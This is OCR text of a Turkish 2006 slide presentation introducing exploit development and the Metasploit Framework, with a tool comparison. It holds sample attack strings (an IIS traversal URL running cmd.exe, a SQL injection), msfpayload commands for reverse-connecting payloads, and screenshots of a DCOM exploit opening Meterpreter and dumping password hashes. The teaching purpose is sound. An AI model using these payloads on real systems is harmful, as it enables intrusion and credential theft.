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Sunum lcerigi gamasec

> Exploit Kavram

» Exploit Gelistirme Sureci
» Butunlesik Gelistirme Ortamlar
» Metasploit Framework

» Canli Uygulama ve Pratikler
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Exploit “gamasec

Bir guvenlik acigim kullanarak normal-disi bir
islem yapilmasini saglayan yontem veya yazilim

> http://sunucu/scripts/..%c0%af../winnt/syste
m32/cmd.exe?/c+dir

» http://sunucu/login.asp?uid=‘ OR 1=1
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Diger Kavramlar gamasec

» Payload
> Exploit sonrasi calistirilacak ve normal-disi islemi yapacak
icerik
» Shellcode

» Exploit sonrasi calistirilacak platforma ozel binary’ler

» NOP

> “Not Operation”, islevsiz veya bellek yeri 6grenme amacli
bellek dolduran bitler

> Encoder

> Calistinlacak Shellcode’u degistiren ve IDS’ler tarafindan
yakalanmasini onleyen yazilimlar
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Exploit Yapisi "'gani@

Shellcode/Payload
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Exploit Yasam Cevrimi gamasec

Guvenlik
Aciginin
Bulunmasi
Exploit’in 0 Gun
Ozellestirilebilir Exploit’inin
Hale Gelmesi Hazirlanmasi
Genel Glivenlik
Exploit’in Ac1ginin
Yayinlanmasi DuyhrulmaSI
Exploit’in Teknik Analiz ve
Hazirlanmasi Cozumleme
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Genel Exploit’lerin “‘gamasec
Ozellikleri

» Cok farkli programlama dillerinde sunulabilirler
(binary,c,c++,perl,lisp,python)

> Acigin tek veya ozel bir kullanimi lzerine
gelistirilmis olabilirler (..%c0%af.. veya
.. 5c0%qf..)

> Payload/Shellcode degeri ozellestirilemeyebilir
(binary, acik hakkinda kisitli bilgi)

» Kod kirli veya kotu niyetli yazilmis olabilir
> Herkesce kullanildigi icin onlem alinmis olabilir
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Kim Kendi Exploit’ine “gamasec
Ihtiyac Duyar

> Tetkikciler

» Danismanlar

» Yazilim veya Donanim Testi Yapanlar

» Sistem Yoneticileri

> Guvenlik Acig1 Gelistiricileri
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Exploit Gelistirme Siireci “amasec

Guvenlik
Aciginin
Farkli Payload Duyurulmasr Teknik Analiz

Kullanimina Hazir ve Cozumleme
Hale Getirilmesi

Exploit’in Acik Atlama
Ozellestirilebilir Noktalarinin
Hale Gelmesi Belirlenmesi
Farkli Platform Cozumleme
ve Programlara Yapilarak
Uyarlanmasi Normal-Dis1 Islem
Exploit’in Yapilmasi

Hazirlanmasi
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Hangi Araclar Kullamlir ~ ™9amasec

> Acik Bulunan Yazilimin Ornegi !?

» Fuzzer (Karistiric1 ve Degistiriciler)
» Encoder (Kodlayicilar)

> HEX Editorler

» Binary Analiz Araclan

» Debugger (Hata Ayiklayicilar)

» Sniffer (Paket Yakalayicilar)

» Protokol Cozumleyiciler

» Yorumlayicilar / Derleyiciler (Interpreter/Compiler)
> Shellcode’lar

» SQL Sorgulan
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Butunlesik Gelistirme
Ortamlar

> Exploit ve Payload ayrimi

» Hazir ve kodu acik Exploit’ler

» Binary analizi icin yardimci araglar

» Hazir Payload veya Agent’lar

> Grafik arabirim ile “tikla ve gir” kolaylig
» Hazir fonksiyonlar ile daha az Exploit kodu
» Kategorizasyon ve analiz arabirimleri

» Hazir Recon’lar ile bilgi toplama

> Yerel, yetki yukseltimi amacli Exploit’ler
» 0 gun Exploit’leri

@ 2006 Fatih Ozavci, Her Hakki Saklidir

“"gamasec

11



Neden Exploit Gelistirme ““gamasec
Ortami ?

> Guvenlik acig1 tarama yazilimlarinin imza kalitesindeki
yetersizlikler

» Guvenlik aciginin kullanilabilir oldugunun tespiti

» Risk boyutunun tam olarak bilinmesi ihtiyaci

» Guvenlik onlemlerinin (firewall/ids etc.) asilmasi
ihtiyaci

» Guvenlik aciklarinin kullanimina farkli bakis acilan
getirme ihtiyaci

» Hazir kodlar ve fonksiyonlar ile Exploit gelistirme,
kullanma ve kullanim sonrasi islemleri kolayca
uygulayabilme
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Gelistirme Ortamn “‘gamasec
Alternatifleri

» Core Technologies - Core Impact
» Immunity Security - Immunity Canvas
» Metasploit Project - Metasploit Framework

» Security Forest - Exploitation Framework
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Metasploit Framework “‘gamasec

> 2.x (GPL/Artistic) ve 3.x (Non-commercial) olarak iki ayr1 surumu
bulunmakta

138+ istemci/sunucu exploit ve 75+ payload bulunuyor
Cok farkli turde payload’lar kullanilabiliyor

» Agent (Meterpreter)

» VNC DLL Injection

> Shellcode Uretimi (Shell Bind, Reverse, FindTag)

> Binary Upload
Cok sayida farkli encoder kullanilabiliyor

> Alpha2, Pex, Shikata Ga Nai, Sparc, OSXPPCLongXOR

Konsol, web ve seri arabirimleri bulunuyor, 3.x grafik arabirime de
sahip olacak

Acik kaynakli her seye entegre edilebiliyor (InlineEgg)

En guclu ozelligi Post-Exploitation yetenekleri (Meterpreter, VNC
DLL Injection, Anti-Forensic, Process Migration vb.)

VYV VYV

VV VYV V¥V
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Ekran Goruntuleri ““gamasec

exploit{windows Adcerpcsmsl3_B26_dcom} > exploit

Started reverse handler

Trying target Windows NT SP3I—-6a-Z2000-5P-2003 Universal...

Binding to 4d?f4ab8—7dic—1icf-86le—-B88208af6te?c5Y-0.00ncacn_ip_tcp:127.8.8
Bound to 4d?f4ab8—-7dic—11cf-861e—-B820af6e?cS7:8.Bfncacn_ip_tocp:127.8.8.1
sending exploit ...

Sending stage (2834 huytes>

£leeping before handling stage...

Uploading DLL <73739 hytes>»...

Upload completed.

Meterpreter session 1 opened (18.254.8.4:4444 —> 10.172.69.14:3113>

1[1234?] -

(123471 ...

Loading extenzion stdapi...success.

meterpreter > use priv
Loading extenzion priv...success.

Guest 581 :aad3h435h51404eeaad3h435h51404ee s 31 d6cfeBdlbaecd31h?2c59d7e@cAEFcA: = :

HelpAzszistant:1000:787feZf f8hfdbacd36f1f167826628fd:a42a0141890f2998312ffcdlcdBfddde:-:
SUPPORT _388945a8:10082 :aad3b435h51484eeaadib435hildidee-d31301692356f dceddefBab2fhS%cle?f:c:

[#] Sending 124 byte payload...

[#] Sending stage <2838 hutes>

[#] S8leeping before handling stage...

[#]1 Starting IRB shell [#]1 Uploading DLL <73739 hutes>...
[#]1 The *‘client’ variahle holds t[*] Upload completed.

[#] Trying to use connection...
client.priv.zam_hashes[31.nt1lm[*] Meterpreter session 1 opened <18.2054.8.4:59368 > 18.254.8.4:12345)
"A31230169356fdceddef8a52fh59c1 [#] Started logging session interaction.
client.priv.sam_hashes[2]1.user[*] Session 1 created in the background.

"SUPPORT _388945a@~085"" msf exploit{test/multisagqgqressiver > session —1
client.ui.idle_time
4o@ Active sessions
client.fs.dir.entries
=» ["AUTOEXKEC.BAT". “bhaserand', " e
“personal', "Program Filesz', "RE Id Description Tunnel

*» client.sys.process.processes [A i
=» {"name"=3"=mssz.exe", "pid"=347 Heterpreter 10.254_A_4:593608 —> 18.254_ 8.4:12345

> 1

exploit{test/multi/aggressive? » session —-i 1
Starting interaction with 1...

meterpreter > use stdapi
Loading extension stdapi...success.

meterpreter >
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Ekran Goruntuleri

“"gamasec

EXPLOITS PAYLOADS SESSIONS
* | Filter Modules
H 3Com 3CDaemon FTP Server Overflow
B AOL Instant Messenger goaway Overflow
* AWStats configdir Remote Command Execution
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Genel Ozellikler

> Arabirim

» Konsol Arayuzu (msfconsole)
» Web Arayuzu (msfweb)
» Komut Satirn Arayuzu (msfcli)

» Yardimci Araclar
» Donus Adresi Tarayic1 (msfpescan,msfelfscan)
> Payload Uretici (msfpayload)
» Payload Encoder (msfencode)
» Oturum Loglan (msflogdump)

> Ana Moduller
> Exploit’ler
> Payload’lar

> Encoder’lar
> NOP Ureticiler
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Exploit “gamasec

» Cok sayida, kaynak kodu acik, eski ve yeni exploit
> Istemci ve sunucu exploitleri birarada
» Farkli isletim sistemleri icin yazilmis exploit’ler
» Windows, MacOSX, Linux,Irix, AlX, Solaris etc.
» Farkli platformlar icin yazilmis exploit’ler
» PPC, IA32, SPARC, MIPS, etc.

» Hazir fonksiyonlar ile yazilacak kod miktari oldukca az

> SSL destegi

» Hazir ag protokolleri (SMB/DCERPC etc.)
> Encoding destegi

> Kolay payload ve hedef entegrasyonu

» Kod yerine givenlik acigina odaklanmak hedeflenmis
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Payload “gamasec

» Bircok platform icin hazir Shellcode
» Windows,Linux,Aix,Solaris,Hp/UX,0S X,BSD,BSDI etc.
» Hazir Shellcode (Shell Bind, Reverse, FindTag)
» Perl Kodu
> Ust duzey payload’lar
» PassiveX
> InlineEgg (Core Tech.)
» Meterpreter
» VNC Injection
> Bellege program yukleme ve calistirma
» Kademeli/Moduler payload yukleme
» Hedef ustunden yeni saldir1 kapasitesi

> Tek basina payload kullanimi
» msfpayload PAYLOAD_ADI LHOST=x.x.x.x LPORT=3333 X > test.exe

» msfcli payload_handler PAYLOAD=PAYLOAD_ADI LHOST=x.x.x.x
LPORT=3333 E
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Encoder "gamasec

» Hazir encoder’lar ile payload kolayca
degistirilebilmekte
> HIDS/NIDS/IPS Atlatma

» Farkli platformlar icin encoder’lar
» PPC, x86, Sparc etc.

> Farkli turlerde 13 encoder
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Meterpreter ““gamasec

» Meta-Interpreter

» Modul destekli exploit sonrasi araci
> Dosya sistemi, Slirec yonetimi, Ag vb.
» DLL olarak yeni moduller eklenebilir
» Kodu acik ve kolayca gelistirilebilir
» Dinamik modul yukleme

» Dahili Kriptolama
> Kanal ve VNC Injection destegi

> 3.x ile birlikte kapasitesi artiyor
» Surec birlestirme
> IRB destegi
» Timestomp,SAM HashDump

> Yeni bir alt strec olarak dogrudan bellekte calisiyor
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PassiveX gamasec

> Hedefin registry kayitlan degistirilir ve Internet
Explorer baslatilir

> Istenen DLL ActiveX objesi olarak yiiklenir
» Tum iletisim HTTP ile yapilir

> |E Proxy ayarlari ve kimlik ozellikleri
» DMZ aglarinda kullanisli

» VNC ve Meterpreter Injection icin kullanilabilir
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VNC Injection “‘gamasec

> RealVNC kodunda degisiklikler yapilms,
gereksiz bolumler cikartilmis

» D1s dosya, kutuphane, servis kurulumu veya
registry anahtan gerekmiyor

> Yeni bir alt surec olarak dogrudan bellekte
calisiyor

> Kilitli ekranlarda yeni kabuk (command prompt)
aciliyor
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Metasploit 3.x “‘gamasec

» Ruby ile yaziliyor
» Guncel Surum : 3.0 Alpha r3

» Kod buyuk olcude tamamlanmis
» AUX, Grafik arabirim vb. eksikler bulunuyor

» Payload ve Encoder artisi var

> Meterpreter kapasitesi arttirnlmis

» Otomatize edilebilir

> “Pivoting” Hedef ustunden saldin daha kolay
> Cok sayida fonksiyon dokumante edilmis
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Karsilastirma Tablosu

“"gamasec

Ozellikler Core Impact Immunity Canvas Metasploit Framework
Isletim Sistemi Windows Windows / Unix Windows / Unix
Grafik Kullanici Arabirimi Var Var 2.x Yok /3.x Var
Script Dili Python Python 2.x Perl / 3.x Ruby
Ag Haritalama Var Var 2.x Yok / 3.x Planlaniyor
Istemci Exploit’leri Var Var Var
Yerel Exploit’ler Var Var Yok
Web Exploit’leri Yok Yok Yok
Payload Kullanimi Agent / InlineEgg Agent Meterpreter/Shellcode/VNC
Encoder Kullanimi Yok Yok Var

Exploit Sonrasi Baglanti

Bind/Reverse/Re-use

Bild/Reverse/Re-use

Bild/Reverse/FindSock

Agent Ustlinden Saldiri

Var

Yok

Meterpreter / SocketNinja

Otomatize Exploit islemi Var Var Yok
Raporlama Var Yok Yok
Diger Araglarla Entg. Var Var 2.x Yok / 3.x Planlaniyor
Harici Geligtirme Araglari Yok Yok Var

Anti-Forensic Ozellikleri Yok Yok Var

Fiyat ~25.000 USD 10 Kul. ~2.000 USD Ucretsiz
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“"gamasec

Metasploit is ustlinde....
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Baglantilar ve Referanslar ~ ™gamasec

Metasploit Project
www.metasploit.org

Metasploit Anti-Forensics
www.metasploit.org/projects/antiforensics

Metasploit Documentation
www.metasploit.org/projects/Framework/documentation.html

Metasploit Live Demo

metasploit.com:55555/
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Tesekkdirler....
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